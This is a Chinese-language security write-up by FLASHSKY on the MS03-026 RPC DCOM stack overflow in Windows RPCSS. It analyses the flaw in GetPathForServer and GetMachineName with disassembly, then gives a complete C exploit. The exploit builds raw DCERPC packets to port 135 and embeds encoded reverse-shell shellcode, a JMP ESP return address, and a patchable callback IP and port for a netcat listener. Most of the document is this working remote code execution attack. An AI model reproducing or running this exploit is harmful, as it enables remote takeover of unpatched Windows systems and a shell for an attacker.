附2
LSD RPC 溢出漏洞之分析
转摘请注明作者和安全焦点
作者：FLASHSKY
作者单位：启明星辰积极防御实验室
WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM
邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com
感谢BENJURRY做测试，翻译和代码的通用化处理。
邮件：benjurry@xfocus.org
LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。
导致问题的调用如下：
hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi);
这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。
在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了：
问题代码如下：
GetPathForServer：
.text:761543DA push ebp
.text:761543DB mov ebp, esp
.text:761543DD sub esp, 20h <-----0x20空间
.text:761543E0 mov eax, [ebp+arg_4]
.text:761543E3 push ebx
.text:761543E4 push esi
.text:761543E5 mov esi, [ebp+hMem]
.text:761543E8 push edi
.text:761543E9 push 5Ch
.text:761543EB pop ebx
.text:761543EC mov [eax], esi
.text:761543EE cmp [esi], bx
.text:761543F1 mov edi, esi
.text:761543F3 jnz loc_761544BF
.text:761543F9 cmp [esi+2], bx
.text:761543FD jnz loc_761544BF
.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20
.text:76154406 push 0
.text:76154408 push eax
.text:76154409 push esi 〈----------------------我们传入的文件名参数
.text:7615440A call GetMachineName
。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效
GetMachineName:
.text:7614DB6F mov eax, [ebp+arg_0]
.text:7614DB72 mov ecx, [ebp+arg_4]
.text:7614DB75 lea edx, [eax+4]
.text:7614DB78 mov ax, [eax+4]
.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C
.text:7614DB80 jz short loc_7614DB93
.text:7614DB82 sub edx, ecx
.text:7614DB84
.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j
.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出
.text:7614DB87 inc ecx
.text:7614DB88 inc ecx
.text:7614DB89 mov ax, [ecx+edx]
.text:7614DB8D cmp ax, 5Ch
.text:7614DB91 jnz short loc_7614DB84
.text:7614DB93
OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。
下面就给出一个实现的代码，注意点如下：
1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候
需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。
2。这里使用了反向连接的SHELLCODE，需要先运行NC
3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么
计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。
4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。
5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00"
"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动
"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址
//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧
//SHELLCODE不存在0X00，0X00与0X5C
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\x93\x40\xe2\xfa"
// code
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;
DWORD cb;
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
port1 = htons (2300); //反向连接的端口
port1 ^= 0x9393;
cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210，
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
//计算各种结构的长度
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,1024,NULL);
}
补丁机理：
补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。
补记：
由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。
